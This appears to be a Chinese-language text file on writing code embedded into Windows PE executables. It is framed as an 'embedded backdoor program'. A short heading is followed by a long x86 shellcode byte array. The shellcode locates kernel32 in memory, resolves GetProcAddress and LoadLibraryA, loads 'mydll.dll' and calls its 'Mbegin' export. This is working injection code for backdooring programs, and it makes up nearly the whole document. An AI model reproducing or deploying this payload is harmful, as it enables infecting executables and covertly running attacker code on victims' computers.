addlcode.txt

PE可执行文件的镶入式程序的编写方法及示例(镶入式后门程序&原程序) 由于Microsoft公司的Windows系统是当前大部分个人电脑所使用的操作系统 主要包括win95,98,me,nt4,200

\xE8\x5E\x02\x00\x00\xB8\x00\x00\x00\x77"
"\x89\x45\xF4\x8B\xC4\x83\xE8\x08\x64\x87"
"\x05\x00\x00\x00\x00\x89\x45\x00\x64\xA1"
"\x04\x00\x00\x00\x89\x45\xFC\x64\x89\x2D"
"\x04\x00\x00\x00\x83\xC1\x34\x51\x50\xBA"
"\x00\x00\x00\x00\xC6\x02\x00\x64\x8B\x2D"
"\x04\x00\x00\x00\xC7\x45\xF8\x00\x00\x00"
"\x00\x83\x7D\xF8\x00\x0F\x85\x4D\x01\x00"
"\x00\x8B\x45\xF4\x05\x00\x00\x01\x00\x89"
"\x45\xF4\x81\x7D\xF4\x00\x00\x00\x78\x75"
"\x07\xC7\x45\xF4\x00\x00\xF0\xBF\x8B\x4D"
"\xF4\x33\xD2\x66\x8B\x11\x89\x4D\xDC\x81"
"\xFA\x4D\x5A\x00\x00\x0F\x85\x16\x01\x00"
"\x00\x8B\x45\xF4\x8B\x48\x3C\x8B\x55\xF4"
"\x33\xC0\x66\x8B\x04\x0A\x3D\x50\x45\x00"
"\x00\x0F\x85\xFC\x00\x00\x00\x8B\x4D\xF4"
"\x8B\x51\x3C\x8B\x45\xF4\x8B\x4C\x10\x78"
"\x03\x4D\xF4\x89\x4D\xF0\x8B\x55\xF0\x8B"
"\x42\x0C\x03\x45\xF4\x89\x45\xEC\x8B\x4D"
"\xEC\x81\x39\x4B\x45\x52\x4E\x0F\x85\xCE"
"\x00\x00\x00\x8B\x55\xEC\x81\x7A\x04\x45"
"\x4C\x33\x32\x0F\x85\xBE\x00\x00\x00\x8B"
"\x45\xF0\x8B\x4D\xF4\x03\x48\x20\x89\x4D"
"\xEC\xC7\x45\xE8\x00\x00\x00\x00\xEB\x12"
"\x8B\x55\xE8\x83\xC2\x01\x89\x55\xE8\x8B"
"\x45\xEC\x83\xC0\x04\x89\x45\xEC\x8B\x4D"
"\xF0\x8B\x55\xE8\x3B\x51\x18\x0F\x8D\x88"
"\x00\x00\x00\x8B\x45\xEC\x8B\x08\x8B\x55"
"\xF4\x81\x3C\x0A\x47\x65\x74\x50\x75\x72"
"\x8B\x45\xEC\x8B\x08\x8B\x55\xF4\x81\x7C"
"\x0A\x04\x72\x6F\x63\x41\x75\x60\x8B\x45"
"\xE8\x03\x45\xE8\x03\x45\xF4\x8B\x4D\xF0"
"\x8B\x51\x24\x33\xC9\x66\x8B\x0C\x10\x89"
"\x4D\xEC\x8B\x55\xF0\x8B\x42\x10\x8B\x4D"
"\xEC\x8D\x54\x01\xFF\x89\x55\xEC\x8B\x45"
"\xEC\x03\x45\xEC\x03\x45\xEC\x03\x45\xEC"
"\x03\x45\xF4\x8B\x4D\xF0\x8B\x51\x1C\x8B"
"\x04\x10\x89\x45\xEC\x8B\x55\xEC\x03\x55"
"\xF4\x89\x55\xF8\x8B\x45\x00\x64\xA3\x00"
"\x00\x00\x00\x8B\x45\xFC\x64\xA3\x04\x00"
"\x00\x00\xEB\x05\xE9\x57\xFF\xFF\xFF\xE9"
"\xA9\xFE\xFF\xFF\xC7\x85\xDC\xFE\xFF\xFF"
"\x4C\x6F\x61\x64\xC7\x85\xE0\xFE\xFF\xFF"
"\x4C\x69\x62\x72\xC7\x85\xE4\xFE\xFF\xFF"
"\x61\x72\x79\x41\xC7\x85\xE8\xFE\xFF\xFF"
"\x00\x00\x00\x00\x8D\x85\xDC\xFE\xFF\xFF"
"\x50\x8B\x5D\xDC\x53\x8B\x45\xF8\x89\x85"
"\xF8\xBF\xFF\xFF\xFF\xD0\x89\x85\xF4\xBF"
"\xFF\xFF\xC7\x85\xDC\xFE\xFF\xFF\x6D\x79"
"\x64\x6C\xC7\x85\xE0\xFE\xFF\xFF\x6C\x2E"
"\x64\x6C\xC7\x85\xE4\xFE\xFF\xFF\x6C\x00"
"\x00\x00\xC7\x85\xE8\xFE\xFF\xFF\x00\x00"
"\x00\x00\x8D\x85\xDC\xFE\xFF\xFF\x50\xFF"
"\x95\xF4\xBF\xFF\xFF\x83\xF8\x00\x74\x4A"
"\x8B\xD8\xC7\x85\xDC\xFE\xFF\xFF\x4D\x62"
"\x65\x67\xC7\x85\xE0\xFE\xFF\xFF\x69\x6E"
"\x00\x00\xC7\x85\xE4\xFE\xFF\xFF\x00\x00"
"\x00\x00\xC7\x85\xE8\xFE\xFF\xFF\x00\x00"
"\x00\x00\x8D\x85\xDC\xFE\xFF\xFF\x50\x53"
"\xFF\x95\xF8\xBF\xFF\xFF\x89\x85\xD0\xBF"
"\xFF\xFF\x83\xF8\x00\x74\x07\xFF\xD0\xEB"
"\x03\x59\x51\xC3\xB8